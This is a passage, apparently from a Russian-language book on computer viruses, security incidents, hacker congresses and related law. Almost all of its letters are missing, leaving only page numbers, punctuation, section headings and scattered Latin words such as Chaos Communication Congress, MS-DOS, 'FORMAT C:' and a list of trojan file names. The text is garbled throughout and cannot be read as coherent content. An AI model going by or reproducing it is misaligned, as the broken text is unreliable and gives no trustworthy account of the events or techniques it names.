       :































                           - 54 -

          ,   ,  -
                    .
                           
             --------------+--------------------
                 
             L-------------T---------------------
                           
                      -----+-----
                       ? 
                      LT--------T-
                               
                  -----+     --+--
                           
                  L----T-     L-T---
                               
                             --+----------------------
                                
                                            
                             L-T-----------------------
                               
                             --+-------------------
                               
                                          
                             L-T--------------------
                               
                             --+----------------------
                               
                                            
                             L-T-----------------------
                               
             ----------+--------+----------------
                  
             L-----------T------------------------
                         
          ---------------+---------------------------
               
          L-------------------------------------------


                           - 55 -
          - -
   .     -
         
 ,         
.      -
, -,   -    
    , -, - -
,        -
    ,     
.   ,       
 ,         
   -,     -
   ,  , 
    ,   .    
      ,      
   ,     ,  
 ,     
  .
              
    -     -
 .
     :       -
      -  
   ,   -
      ,    
   .      -
       ,
   .
          -
-     7.    -
          ,  
          (
 ).
        -      "-
 ":
         -
   ,   -
     -
 ( ,  .  16.5).   

                           - 56 -
   ,  , -
   ,  .
  ,     -
   .    
,      .

           3.2     

       ,  - -
        
   .      
 -      .  -
      ""    .
   ,     
-.      ,   -
-        .
          
 ,     -  
 .
        ,    ,   
        
    "" ,   -
      .      
,       ,    
 : ,       -
-,         
   .
           ,  
   .     
   ,        -
   .  ,     -
  -  , -
     ,  ,    
.
            , ,  
   ,        (  
    ).    -
     ;  
    ,       

                           - 57 -
  (, "FORMAT C:").
         3.1  ,   -
       ,    
           .
,  ,      ,       
   , , ,   -
 .
        ,    ,  
         -
     ,        
       
.
               
      , -
        -
 .

       3.3      

              
      -
 .      -
      KES  (  3  
4/85,   ).   -
 ,     ,  ,   -
,    4/85 .    -
 .
        ?
      :  -  -  -
        ,   ,  
,     ,    -
   .
              ,    
,      , -
       .  
     ,    
,  ,    .
               
  .    -

                           - 58 -
    ,     
  3.1. ,     
    ,   -
            ,
      .      
       ().
     ,   ,   -
               ,   
.     
          -
  ?          "  "  
?
        ,     
-.        ,
          
  .    "    -
"    .     
     ""   ""
    .  ,    
 . , ,  MS-DOS    "
",       -
   .      -
        
       ,       
  " ".  ,  ,
         
.
       " "  
 .    -
     .  , ,    "  
 86"      -
    "                  -
(Strommastsager)".
     , ,      
         ,  
   -,    -
      .  ,  ,   ,
           
   ,  .   ,    

                           - 59 -
       "'. 
       ,   -
      1987    
   .
     ,   " "   -
         
    , ,      
      .    
       ,  -
     .      ,
,    ,     -
.
     -      "  -
"           -
  .    -    
  -  , ,  .
                   "
",        .
       
.        
          
 .

               3.4   

     "  "      -
    .    -
  ,      ,
    ,    -
  " ".
            MS-DOS. 
    IBM       -
  PS-DOS -   ,     -
,             ,  
MSDOS.SYS  IO.SYS.    , ,   
    MS-DOS,  "  "
(Hidden  file)"      .  
   -     MS-DOS,
             

                           - 60 -
    " ".    ,  
""    -  -
  .
           ,   
       ,    
   .      ,   -
   ,  ,     
   .
         ,     -
    ,    -
        ,  
    .
       , ,       ,
   .      
      .
       :
     FIBU   .     ,
         ":".  
,           
TIPE.
            -
        .  -
  INT 5       
.
           
""        .        "
"    .

         4.         
                     

           
,      ,       
,  .
        (   -
   ..)   ,      
.
       , , ,   
 .

                           - 61 -
          ,      
    (    ).

         4.1 Chaos Communicayion Congress.  1986

          (    )
    1986     "  ".  
         -
 ,       -
   .       -
 -   ,   -   
" ".
         ,    
  ?        -
: "       -
     
 ,      -
,     .    
                
.  ,     ,
     . ,     
      -
 .
      ,      
  ,    ,     
    .
               Chaos  Communication
Congress 1986 " ".    
        
     ,     
."
     C      "" -  -
   -      -
.        .
     "  /           
 .    ""  
   ,   -
     , -
   ".

                           - 62 -
      ,      
   ."
     "...       -
   ,    -
."
        .   ,  
   -  ,    
 .    ,  
   :
     "   ,    ".
     "  ,  '86,      
.       ."
     "     ,   -
,  -   ".
     "   ,       -
 ".
              -
    ,    
     .
    ,   -
   .  ,   -
             
  : "     -
             
?"
           "" .
            
   .    .   -
           .
         -
,      ,  ,
  ,     -
.       ,  " 
  "   , 
   ,       
 .         .

                     4.2   1987 


                           - 63 -
       Chaos Communication Congres    -
      .     ,
,   ,       
    -   -
 64  ,   .   
   -  .
        :
     .       .
         ,  GMD  (    
)  -     )   
        ,     ,  
        ,  
     .  ,    
     ,  ,    ,
.
     .    -     -
    ,   (  )
        .    
      10.2.
          .     
         .    
  ., ., .,  ..  
     ,    
.
     .           
  ,          ,
,  ,    .  
  (  )      
           .  
,    -      -
-  .
            
    . ,   -
     -
  .      ,  
  , -     -
    .
      Chaos Communication Congress 1987   
     ,    -

                           - 64 -
 .        (  
,          -  
),         -
  ,     .

   4.3   :  

          ,   ,  
-      ,    
  ?         ,  
    .     . 
    ,   ,     
      ,  -
      
       1986      
:
                                                 : 24.8.86

        ,
              
 ,         -
.
         ,     -
     MS-DOS  (..   IBM  PS,
XT, AT  ),       -
   -.  ,  
 " "     "-
"      .
        ""    , 
        , 
       ,
   .      -
    ,       
,           
 .
    ,         -
.    ,       .  
      ,       
.

                           - 65 -

       
     ( )
           . BMFT -
   ,   .  
, ,       ,   
    .
    C    BMFT   :
      ,
        .      
.
           -
      ,       
     .
               
        
    .
      .
     
    . 

     ,       -
,     -
,      . ,     
,     -     -  -
  ,  .   
    , ,     ,  
      -
   .
              
,   -  ,  
     ,    
         ,  
         
               .      
   ,   -
.
    .    :
    ",           

                           - 66 -
  .      
     ,   -
     .   -
     ,      
. ,      ."
     ,       .
           -
       ,  
,  - ,     
     (    
 ),  ,    -
 ,        -
.    ,     
  ,      -
   .
       -     - -
   . (  ,  
   .      -
      ,        
).     " "
     Chaos Communication Congress ,  
 ,      -   ,
   (     ).
     :    BMFT,  ,   
    ,    -
. ,  ,       
  , ,       
(,   )    -
  BMFT,            
 .

                   4.4  ?

           BMFT     
    ,         
 ,    .   -
,   ,   ,    
      "  ".
    ,      

                           - 67 -
,        
     .
           -
,     .   -
  ,  ,  -
    .
             
?
     "          
 .        
 ."
       ,   " "  -
?
     "    ""    -
     ,      
     . , 
-    ,    -
     ,    -
   ".
           ?
     "   , ,  
.      ?   ?  
     ?    -
?"
                
?
     "         
 ,    ".
             ?
     " ,       ,  -
    .  ,    -
     ,    ,   
   ,      .  
     ".
        , ,    
,     ,      -
.
        ,   
     ,     

                           - 68 -
.     :
    -       
         ;
    -           
         ;
    -      
           ;
    -          -
         ;
    -        
       ;
    -      ,    
       ;
    - ,     -
     ,    .
      ,      ,  
       .
                   5.   ?

              
 : "  .    -
   ,  
 -
       -     .    
 ,  , ".
               -  
     ,   -
      ,      -
           -
-    .       
,  ,  , ,   -  ,
    ,        .  
,      .  -
   ,  .

                5.1    

             
  ,    ,

                           - 69 -
    .   ,  -
   ,     -
    ,  
        -
    .   
                
.   ,      
   41   -
  ,    ,      
:
    1.       "  -
     "      .   -
        ""    
          -      
     .   ,  ""  ?

     "   -  ,    -
   ,    -
  .      
.
         ,       -
,          .
,       ,  -
       .
           ,     
     ".

     2.        
        .    
          
     ,       -
                          
     ?

     "".
     3.        
       .   , 
         ?


                           - 70 -
     "".

     4.   ,         
      -   , 
          .      
     ,    ,     
       ?

     "         
".

     5.  -        -
            -
         ,      
     .       
             -
       ?

     "        -
,           
  .
            
.          ,    
    -  -
-  .    2.  WIKG  (
  , . )  
   .    -
    .    
      -
.
        ,   -
      ".
               
   . ,    
,  ,    ,       
 (. 8.5):

           ?
     " ""     ,   

                           - 71 -
    ,        .
     ,        
 .     -
  .      -
   .     
     ".
             ?
     "          
.   ,     ,   ,  
   ,        
     .       
    ,   
".
       2.
    "".
      3.
    ".  ,    ,  -
,       . ,    
      . ,     
    ,     ,    
  .
         ,    ,   
      ,
,       ,   -  
   ?      ? , 
    ".
      ,  ,   , -
   ,   ,   .   
,   ?
     "      :   ,  
 ,   ;    -
.      ,  ,        ,
,    ,    ."
       4.
     "         ,  -
       .    , 
   .
         , ,  ,   
   .

                           - 72 -
            :   
 ,        -
,        ,     
,      ."
       5.
     " , , .   
    .
                   
 ,       -
.   , , , 
    , ,   ,    
,  .  , ,   
   - .
     ,     ,   -
       , 
       .
                
     ."
            , -
  "Datenschutz-Beraters",    -
  ,      -
    (GDD, ):
       1.
     "  ,       ,       
.     , .. ,
  ,       -
      .   -
 ,      
  ,      .
     ,       -
  .       
    ,     
  :    ,    -   
, ,   ,    
. ,        
,     ,      .
   ,     .
       -
 (. )."

                           - 73 -
       2.
     ",  ,    ."
       3.
     ".      ,
    ,  -
,     ."
       4.
     "  ,  ,     ,
 ,     ,     -
     .      
  , ,  " "  
  .      -
     Datenschutz-Berater 3/87.
    ,    ,  
       .  
 ,   ,   -
     .
              ,
      ,       
       -
     ;   ,  -
   ,      -
  .
          ,     ,
       -
        
          
,  ."
       5.
     "   ,   -
.     .   -
          (85
Stcuricom Cannes)         
   :   70%   -
  .  IDV    
        .  
 -      -    -
 .
       -,     

                           - 74 -
.  -,   ,     ,  
,         
.         
   (,   
)  " ",    -
  .
            
         
:          
   .  ,  -
        :
-       ,    
       .  :
      -
     .    -
      .      
  -         
;          ,
      .   
     ."
      ,   ,    , -
   .    ,     
,       .

                    5.2   

     ,  ,    ,     
   .    -
,  ,         .
     ,   
  .   1986      -
 ,        
- ,    -  - .
        ,           
,      ,      
     ,   -
   -.   -
          
        ,  

                           - 75 -
  .    1986   50
  70  -    -   
 :

                                              30.07.86

        ,
             -
        
 .
         ,     -
    MS-DOS  ( . .   IBM PC,
XT, AT  ),       -
   -.
                   
.        
 Plot3d (  ),  
  , ""      .
 Plot3d    -.
                  
.  ,       -
-,    "".       
     (-
,     ),      
(.com / exe.)    "" .   
  ,      "",    
          
    ,      
 "".
        ""    ,
          -.  ,
,   ,      .  
        ,
             
 .
     ,      -
  "" ,         -
.           
    , c  ,    

                           - 76 -
 ,   ,    
    " " ,    -
  .   , ,     -
.
                  
     ,  ,    -
  .
          "",    
      Plot3d     
 17.50  .
            .
       
      

        ,    -
     .    
     ,   
   ,    ,   -
  ,        
  .
            .
     "  -    
,            
.    -
       -
      ,  ,  
,     .  -
             
  ."
       ,     -
     , , ,    
  .     
   .     
 :
     " ,       -
  (  )   ,      
      ,
 .."
       ,  ,   .   -

                           - 77 -
  ,     -.   ,
,     .

                     5.3  

          -
        -
 ,    1986 .   -
          
 .       -
  ,    ,       
     .   -
    (  ), -
    .     (
 )      -
 . ,      
       ,  
 .       ,
   :

         :  , .
        :    .    .
         :  ,       
                    .
        : ,         
                    ...
         :...    -   08/15?  (08/15
                  -     ).
        : ,        
                      .    
                  ,    .
         :  ,  ,   ,      
                        -
                      .
        :    , , ,  
                    ,    .    
                   -  -?
         : ?
        : .

                           - 78 -
         : ?
        :     ?
         : .
        : ,     ?
         : .
        : ...    PC, XT,  AT  ,
                    ;   ,  
                      . , ,     
                           ;
                      ,       
                  ,       ,       
                      ?     -
                    ,       
                   ?
         : ...,   ??...       
                    ?
        :  -    
                      ,   -
                     ,    -
                     ,     
                  ,         
                  MS_DOS -     ..
         : ,     ?
        : , ,   ...
         :   ...
        :    , PC, XT, AT  -
                      .     ,  
                      ,   
                     .     ,
                        .      
                       -   
                     -,...   
                                 -
                  ?...      -
                   .
         :  -,           ,    
                  ...
        : ?
         : ,   .  ...  ......

                           - 79 -
                    ???    -
                    ...
        :  ...   -  ,  
                    ( )?
         : ,   ,    ...  
                          ,    
                  ,    ! !... ,     
                  !   ,  -, -
                   ...
        :...         
                  08/15...    ,
                       ,  
                    ,   -
                  ,      
                   ?
        :    .
       :  ,  - 
                      -
                  ?
         : ...
        :       -
                  ?
         :...    .
                     ,   ...
        : -,  ,   
                    ,     ,    
                        
                    ,     ;
                        ,    
                   ,    , -
                      -        
                      -      .
                  ...
        : ,    ...,   ,  
                  -     , ,    
                  ,   ,...  , 
                      ...    
                   ,     .
       : ,      ,    

                           - 80 -
                         -
                      .     ,
                          
                    ;   ,
                         .
        : ,  , ,   
                    ,   ;     
                    ,    
                  ,      -
                  ...     .      
                        ,  
                         -
                     ,       
                  .
        :    , ,  
                   08/15?
         :    1000.-  10000.-
        :... , , ,    -
                   ?
         :       . ,    
                   -   ,  PLOP
                   08/15 -     .  -
                    ,        ,    
                  .
          :...       
                     ,   ?
         :    .
        :   ?
         :   .
        : ,  ?
         : .
        :  .     ?
         : ,       ,  
                      ,  
                   .
        :   ?
         :  ...   ,    
                      .  ...  
                    ...    -

                           - 81 -
                        .....    
                  ,      ,  -
                  ,      -
                      ..    
                      ,   ,     
                  .          -
                      ,  
                  ,    -
                   .  ,     ,
                        .  ,
                       ,   -   -
                    ,    .  
                      ,     
                   .
        :      ,     
                      "  ",    
                     .
        : ,    .   
                     -
                      . ...    
                     -
                  .  ...          
                    -    ,     
                    .  ,    ,
                       :   -
                   ,     "",
                         ,    
                      .  ,
                       ,    .
                          
                   .
        : -,         
                  .
         : ,    -,      .
                  , ,   ,    -
                    ,    ...     
                      ,       
                  ...   ;        
                             

                           - 82 -
                  -,     .
        :     ...

         , ,    
  ,   - ...

                 5.4    

                  
     . ,  
        -
.           
,    .
                .
        ,  
     ,      -
         .  
      ,        
.        -
 .
           ,    
 ""      -
 .  ,    ,   -
  ,     -
  .    -
    .   : -
  ,      .    
         
     .  -
,    , ,  
  .
       ,       -
         -
  .        
,        
    .    ,  
         .
,     ,   -
    ,     -

                           - 83 -
       . 
,          -
    ,        
.         -
     ,    
,  -   .      
             
, ..  .
             
      -   -
  -   ,      7.  
,      -  .    
,   ,    
 MS-DOS  ,     "-
"        .
  ,     ,  
       
,        .  
    ,  ,    
      ,    
- ,  , ,    -
 .       
.
       1983          
            RFZ
(Regal Forderzeug *)).    RFZ 
  . ,    ,
          
  .   -   
     ,      -
  "" .      
         -
 .     "VDT-Error".

_________________________________________________________________
*) RFZ -       .


       ,    

                           - 84 -
   -    
;       -
...
           -
    ,     "VDT-ERROR"  -
,           
.       ,    
        -     
   ,   .  
,       ,    
,     . , ,  
 ,     
  .        .  ,   
 ,     "VDT-
Error".
     ,   ,     , -
 .     . 
         . 
  ,    ,    
           
.   ,      ,
  : "  ".
           -   -
,      -    
        ,   
             
   .     . -
       .    
  .
          - -
 .     , ,  
 .   ,  
, ,      . -
             
 ,  " "    -
       .     ,
       -
   40000  ,  ,  ,  
  ,   ,   

                           - 85 -
 .   , ,   -
  ,         
 .    ,   -
,          ,  
 ,      -
       . ,  
 , ,  40000  , -
     .  
          .
       ,    ,  
   -   7      
200 .
              -
  ,   
 7-          -
.  ,         
  ,   : "  
",                .
,   ,   ,  -
       ,      95%
   .  ,   -
   .
         ,    ,
   ,   , -
  .       ,    -
      .  ,
     , ,    -
.           
,        , ,  ,  
        -
 .
                       6.  

       ,   ,      
.   ,     -
   ,     -
  -  -  -
   "   ".  
        ,  

                           - 86 -
        -
,     ,   
,    .  -
        -
      CLINCH (     
   );     -
        -
 .
.
           
        ,   
.          -
 ,  :   ,    
  , ,     
.
             -
          
    .
          ,  
            
,         -
.        .   -
      ,  -
    ,    -
 -. ,    -
       ,  
 -.       -
    .
       ,         ,
  .      -
    . ,   -
          
 .      
      ,    
     ,    
    .        -
,    ,      -
        -
 ,      .

                           - 87 -

                         6.1  

            -
     .     
  ,      ,
   .   ,   
     .    ,  
              ,
  :      -
.
                
.  ,       -
 .
     ,           
      -
 - .    
     .       
  .  ,        
   ,  ,  
.       ,  
      ,
       ,  ..   
-
  .     -
  ,       
 ,         -
.     ,   -
    .
       ,  6.4/8     ,  
     (     )  
,   ,      -
         -
 .

                6.2 - 

            ,    
    .  

                           - 88 -
   .     
  6.4/8    .

             )    

             
              
.       NN  303  
303  .     ,   -
      2-      -
       01.08.86 .

                     N 303  

     (1)  , ,   
     (N 202,  2)    
       .
     (2)       .

                      N 303   

     (1)   ,     -
  ,  :
     1. ,  N 303f,  1,   -
        
     2. ,     ,
               -
                  
        .
     (2)       


)   N 303 .  :

      N 303         -
.   N 303,      
.  ,      ,
..         ,  
  ,        ,

                           - 89 -
   .      ,  
  2,     
.   ,     
 ,       .  -
,          -
,      .    -
        N 303
       . ,    -
 ,     .

         )   N 303 .   

     N 302     (N 303  1 
   N 303  .  -
        ,  
    ,  N 303 .   -
     ,   -
           
.           
          
   N 303 1  1 .
       N  303  (N 303 1  2 )  -
      (  )
   N 303 .        
    N 303 ,        
     .     
      ""   ,  N  303  2
  2         
   .  ,    -
 ,       ,  -
,   .
         "N 303  N 303 ,  -
   ,       -
  , , ,   -
    .        
6.4/8.

                 )   


                           - 90 -
          ,      
  ,     NN 303  303  ,  
    , -
,     .     
,      ,   -
     .    -
  ,         
     NN 25-27        ,
   .
              ,  
    ,   ,
    .      
  .6.4/8   .

                      ) 

            ,    
      .    
 ,        
, ,        
       ,    
  .       
  ,     ,  
   ,    .  -
,     ,  -
     .

                  )  

         ,    
  ,         ,  
      . 
  ,  //  -
      (      
).            
 ,      -
,    "". ,  ,
       .  
   .     -

                           - 91 -
         -
,       ,    
    .       
  ,         
 -       -
      .

                      ) 

         ,   -
    ,  -
 ,      -
  ,     .   
          
      ,    
   N 25 .
             -
 ,    c,   
     " "         
 -    ,   -
 .

                        ) 

            -
.      ,  -
 ,       -
   .      
    ,    .      
,       , 
  .
            -
,      
   .     -
  ,     
    ,   -     .  
 ,  ,     ,
    .


                           - 92 -
               6.3 - 

             6.2,    
   ,    -
      .

                    )  

           -
    NN 823 2, 823   826 .

                         ) N 823 1 .

       N  823 1 ,    ,    
        
   .
       , ,  , 
       .      ,
         -
      -   ,  
  .    ,  
       . ,  N
823 1       " ".  -
,   ""  " "    
  N 823 1    " ".
          ,      
      .  ,    
    N 823   /  N  826
,    .

                         ) N 823  

      N 823      ,  
     ,    (  
)    .      
      .   ,
   ,   NN 303  303 ,  
       N  823  .


                           - 93 -
                          ) N 826 

      ,    N 826 .  -
  ,   ,      
        , -
  .   ,  , -
   ,      -
 ,       N 826 .

                     )  

          ,  -
       .     
         ,
          
   ( ,    
        
N   477     ).      
         
   (   30 ).

         )    

      N 840  ,      -
          
  ,   .     N
840     .  ,  ,    -
-         -
  N 823 ,     -
      ,         
       . -
  ,      
    ,    -
 ,         -
  (    ,      
  ). ,     ,
        -
     .      -
      , 

                           - 94 -
,      ,  -
 ,   .
       ,      ,
       -
    ,      
  .       !    
       -
.
                    )  

       :        ,
   ,     -
,       .  
   -   ,
   .
             -
  ,    ,     
   ,      
    .

                       6.4  

          -
            -   -
    ,       
  .   ,  ""
   ,     
      .     
  . 303 ,    
  .       -
,          
      -
,   .
            -
 ,        -
  , .     
 ,    -
     ,     -
 ,       -

                           - 95 -
     .    
   .

    )      

        ,     -
        ,
      . ,     
    ,   -
    ""  .    
  ,   ,  
.

              )   

           
  ,    ,    ,
    .     - -
    ,      
  " ".      
  ,       ,  ,
,   ,   .   
    ,  ,  -,  
      ,    
           
(       ,   
 ).     .
     ,       .  ,  
    -.       -
 ,         -
 ,    .   
    (  ),   
  ,  ,     ..  ,
      ,  
        -
.
           
    ,      
     .

                           - 96 -
    ,        
      -
 .
            
           .
  ,      -
       -
 .
           -
  .    ,    -
         ,     
.     ,   -    
,          
  ,   ,       -
 .
           ,      
,     ,     -
  ,     ,    
         
          .  
,          
 ,      -
        .    
        (  
    ,     ).  
           
,            
 ,  ,    
          (
   ).

               )   

        ,    
   ,       
      N  823 1 .  
   (6.3),     -
       -
 " ".     ""  "-

                           - 97 -
"         ,  
      N  823 1 .   ,    
   .
            , 
     N  823 1      
  .        
  .

          )    

                
         .
,     ,   -
    (    -
    N  823 1 ).      ,
          
.
            -
    .     -
  (, GEONET) .   -
        -
   (, CLIN CH).
     -      "FreakBox",  -
     ,    -
.            
       
,       . 
   .   
      ,  -
,               
"FreakBox".
         ,    -
     ,   -
    .   
           .
       
   ,        
.       ,   
     ,     

                           - 98 -
  , ,     -
.
     ,     ,    -
         -
,     .  ,  ,  
      . 
     .   
 ""        -
 .

              6.5    

          ,      
 . -,    
  .       ,  
          
    .        
   .     
   ,     
,     .   
             ,  -
, .
       ,       
    ,  ,    
           
.
           
.  , .. ,   -
     ,   -
        -
     .
       ,     ,  
      ,    -
 .
           (-
            )
 .
             -
      .    

                           - 99 -
      .
          
      .   
  ,   .

                 )  

           ,  
   ,        
. ,       -
    ,     .  -
       ,     
    .    -
       .     ,
,    ,   ,     
 -    
 .
     ,    ,  
     ,     
,        -
 .      -
          ,
           
.    ,      
    .
         ,  ""    ""
          N
823 1          -
    .
            
,        
.    .

                   )  

        ,     (
  ) .      
,   , ,    .
           ,

                           - 100 -
 .        -
,  .   ,    -
         -
  ,    . 
        -
  ,      .  
   ,     
   .
        ,     -
  ,     -
 ,        
  .

                    6.6  

        ,      -
 .     ,  
   .   
       -
  . -     ,  
   N  823    ,        
     .

           ) ,   

          ,  -
            
. ,  ,     -
     c.   ,
 N  303 ,       N  263
(   ).  N  263   -
  ,        
   .        
    .  N  263 ,    
   .

      ) ,     

         ,    

                           - 101 -
         -
   .      
       -  
   .     
    ,       -
.
                
     ,   -
           ,
     N  263  (  -
  ).        
,  .        (  -
  . , "  " 87,  .
667)        N  263      -
       , 
       N 263     
           
    .    
 .
           , 
 N  303 ,  ,  ,  
     .
                 
    ,     ,  ,
,      ,      
.   ,  ,    (
   !),     -
  N  202 .        
     .

    ) ,    
                            

      ,     
   ,      
: , ,     ,  
           
     .
        ,  ,    N   303

                           - 102 -
.      N  202   (  
).   , N  202      -
       ,  
  .
      N  202         ,  -
  .        
   c   .  -
,      .
     ,       . 
 ,          
,        , 
       ,     
    .      
       
   ,       N   202
.

         ) ,   

          N 269   (    
   ),        
       ,
,            
           
,         -
,       ,    
    15 .     -
      .   
      ,    ,  
  ,    .    
         
(    15  -   , -
 !)       
N 269 .
     N  269    N  267  ( ).  
        
   ,        
( ,   )     -
.

                           - 103 -
          ,   
    ,  ..    
 ,     .   -
,            
,         (-
).
         ,    
  .   ,  :    
            
.
                       6.7  

              -
"  ".        ,  
  ,        
   ,      -
-  .  ,      
,         
      1987 .
           ,      
  "  "      
     .     ,
       "  "
  ,      ,
    -.
           " "  -
    :         .
,        ,
     ,    
  N  303  303 .
           ,   
  .        
    .20  .  
  ,      
     ,    
  .
       20     
    -  -
.          .  

                           - 104 -
,          -
.         
  .
         (      -
 ,   ,  ,  
 - .    
,       -
  ,         
 20 .
       ,    "  "
  ,   "" .

          6.8 ,   

                 )   

              -
      ,     .
  ,        
         
     -   .
    .

  )      

           -
       ,  -
  ,   ,    
.
         ,    -
   -    -
  N 303     N 26  N 27    
    .  ,  -
           
          ,
   6.6.      
   N 111 .
           
        -

                           - 105 -
      ,   
 .

              )   

              
             (        
),      -
      ,       
  ,         
   .   , 
  ,       
.
          
   (    ).  
         -
     ,   
  ,    -
 .        -
, ..    (   -
   !).     
    , ..    -
     (   -
).       ,    
      .
          ,  ..
        .   -
       -
   ,      -
.       , -
            (
   ).

                 )   

        -  -
    .
      N 27 ,     
  ,   

                           - 106 -
 ,   .  -
  ,  ,      
    ,      -
      .   
       .     
     .
                      
      .          
       N  .
      N  ,   ,  
(  )        
    .  N   ,
        
    .
        ""     
                 
.        
("  "...).      N  
,       
       .
       ,      
 -        
  N  .        
  (,    -
    ,      
   (:    -
 ).
               
  ,       (!?)  -
,       . -
                
""    ,  ,    ,
      N  .
     :
            ,  
  : "       "
".   N  .    : ",
 ! ,      , -
    ...!"    .

                           - 107 -
   ,  ,    
 ,     N  .   
       ,     
.      ,    
  N      .    -
    ,     
       ...

      )     -

       -  ,  -
  .      -
   ,   .
        -   
  ,  -    ,     
   - ,      -
  ,       .    
         
,    ,   -
        -
 ,       -
 (,     -
  ).
              .  
           
 .     , -
   :

     )      ,   
         ?
     )           
            ,   
       -?
     )     ,  -
         ,     -
          ?
                 ,
            ,  
         

                           - 108 -
 .    , , 
     ,   ,
        -
 .

                     7.  

     ,        
   ,      -
.     ,   -
          -
  .

                 7.1 :  ?

         ,          -
,          
  ,     .  
     ""      
          
  .      
    ,     ,
        
       ,    
    .  ,  
       
  ,   ,     
  .  ,     
 ,    .  -
           
   .  ,      
 ,  .

                    1.  

       (VM/CMS), ,   -
,    .     
(-  )   FARN/Bitnet (  )
     .   -

                           - 109 -
   11,.3.

                        2.  

          (VS-
DOS),          11.3.  
         .    
       .  
   ,       -
          
(        ).

                3.    

     ,     ,      -
    1988 . : "-:  -
   ".       -
    "".         ""
  ""      
  ,      ,  
          
.
          ,  
    ,     -
 ,   ,    VS-DOS.
           .   
      (  
   ),    .

                 4.  

            ,  
  .           
    TYPE , COPY, DIR   ..    
  COMMANDS.COM     ,    
   .     
       ,  ..  
     FAT (  -
 ).

                           - 110 -
              
...
                 
  .

                  5.   

                 ""
   VCS ("  
").              
      . ,  
       ,  -
            .
            
    ( ,      ..)
            
    .
               
"",      ,   
 "      -
.  ,        
 .
          ,       
          ,       
   " ".   
         ,      
 .  ,   , 
100  .
                 6.    ""

       ""     
.           
.
                              
       -    
                
  .       
 ( 16- ) :
     Something wonderfull has happend, Your Amiga is alive

                           - 111 -
           ("" ,  "" ...)
     -,         
.
                      " " 

                 
       "" .
          
  3D4,    5    
          20-    
  880.               
,         0    1  
.
         -     ;  
  " "  "" ( 
).       (    
           5  )  
   ,       
.
         : "    
 ?"
                     .
,     ,
            
,       .  
   ,    ,   
    ,          
 ,     -    .
             
     .
                     
   VS-DOS,     
 . " "   
1986  .   , , ,    
.      ,       ,
      ,-      
   "".     
    " ", ..    
     .

                           - 112 -

ARC513.EXE                 
                    .
BALKTALK                    
                      .
DISKCAN                .  -
                          -       
                    .   .
DOSKNOWS                ,  ..
                              
                    .      
                    5376 .     -
                       .
EGABTR                    
                    EGA.      "Arf!  arf!
                    Got You" ("  ").
FILER                .
SECRET                ""      
                    .    -
                           -
                    .
STRIPES                   -
                       ,           
                    STRPES.BQS.
VDIR                 ;   .

     ,          ,  
 DOS RENAME     .
          , -
 ,     -
:
     1.     .
     2.         -
       ,    .
     3.   .
     4.   .
     5. ,     , -
           "  ."
     6. ,    .

                           - 113 -
     7.   /    .
     8.       ,  -
            .
     9.   ( , side kick)  
           .
        ,      
      .   ,
 ,        "-
" ,  S-DOS.
         ,    -
         (-
,    ).        
    ,      
  .        
   .
             "",
, , ""    .
,    ""    
 .    ,   
 .     .   -
       
       ,    
   ,       -
.       ,   -
      .

           7.2 ,    

       ,  ,    -
.           
  .      -
   .  ,      
  ,     -
.
              VS-DOS  
  .    -   -
 SYSLOG, ,       -
.          -
          .

                           - 114 -
  " " SYSLOG    
      VS-DOS.
        SYSLOG  " "
  .         
,  .
           -
.      ,  -
    .     -
   .
                
  .           7.1,
    -.    -
    , ..      
 ,     .  
    -    -
.      ,  -
 .      ,
      , -
         
  "  ",       
   .       "
" ( VS-DOS  Alt, trl  Del)   
      .    -
     ,    
   ,       
  15-    .  
,       , -
  30    .
          ?
     ,        
   . ,   
30 ,     .  
 , " "     
,     .  -
      ""     
  ,    .   
    . ,  
    ,    ,    
" "     .   -

                           - 115 -
     ,   -
    ,     -
      " ".
             ,    
         -
  .
            -    
,        -
,   .     
  ,     
     .   
       
   ,      -
    . ,   ,  
,    ,     -
  ,     .    
      (-
,   )     -
    MS-DOS.         
 -.

               7.3 ,  

      ,      
     . , -
          -
.   ,       -
        
  .      ,  -
     .
       ,        
 .   "-"  
. ,      
        . ,  
 ,   ,  
    -     
.            
         ,  
    ,  .

                           - 116 -
         -      .  ,
,        -
   .       
      .    -
           
  ,     -
  ,       -
    .        
      , ..   -
       ,   
         
  .
          -    -
     .     -
 ,         -
  .         -
   ,       
     .  
    "- ".
       -  " "  , 
     ,       
 ,     -
. ,    CONFIG.SYS   -
      .   
   -     
  -  128 .    ,
    ,      -
  .       -
   ,       -
.

                 7.4 ,  

         -    -
     .  " "   -
     ,  -
,     ,   ,  -
 .   , ,  -
:

                           - 117 -
     "   : 084876    5869. -
   , , ".
     ,     .  
   ;      ,
     ,       
 ,    .
        ,        
  .   ,  
,     . " ",    
         
  .         
,       ,   
   .
       ,   ,     
        ,  , 
    .       
       .  ,
          -
             ,
        .     ,
      ,    
  :      
  .     ,    
         ,  
 ,     .
      ,       -
   .   -
  ,       -
      PARITY CHECK 1.     
      ,      
         
,            
      ,  
 .

                    7.5  -  

        ,       
  ,  ,   

                           - 118 -
,    .    -
  -   .    
          .  
       ,    
 ,. ,      -
   ,        -
    .
     :
      ASCLL  "9" (39H)
     
      
      "9"  "8"
       
      
     ,       -
,  ,       
    .
         - "" .
      ,    
  .      
  ,     
    .         
      .   
       ,   -
     .  
       -
   ,       
      .   
       ,  
 ,   ..?

                   7.6   

        ,  ,
       .  
       .     
        
  -     ,  ,  ,
      ,    

                           - 119 -
.      -   ,
    .     -
   ,    
  .      -
      ,       
       -
  .
                ,
  .     --
,   , ..  -
 -.      
     ,      
.   ,    
    .    -
  ,      
     , , --
,    .
             
  . ,   
 , ..      
.    , , :
         ,     (
 ,  ),   ""  -
   ,       
   ,  ,   
  .           
03:00:00,   ,    -
         .     
        ,  
         
  .      
     B:
                 "
".          -
   .       
   ,       
,   ""   .

                      7.7  

                           - 120 -

     ,   ,   -
     .    -
        -
.  ,         .    
 , ,    -
  . ,   ,   
 .      ,   -
           
 .      -   -
  ,      -
.            
.  ,         (
  ) ,       (?)
.    ,   
  ,    .
              ,    
      ,  -
 ,       -
  .          
  ,     -
 .  ,      
    ,    -
.

                           7.8 

        -   .
,          
   ,     
  ,     -
     .   -
  ,       .  
            
   ,  -      
.
          - -
     ,     -
      . ,  -

                           - 121 -
      ,  
          .
     3    
    - ,    
           
   .         
, ,    --
    ,    -
.     -  .
         ,       
   .      
         ,  
      ,  
     .       
      .

                7.9    

       ,  , 
    ,  - -  
       .      
,    ,      .
      ,         
       
 .       ,
  ,    :"... 
       ,   
           
".
         ,  -
  .       "
          ,    
    .  (?!),   -
        .    ,
       .     -
   ,   ""   
     .
         :"  ,  
  ". ,    -

                           - 122 -
     .   ,   -
           -
    " ".   -
     :     ,
     .    -
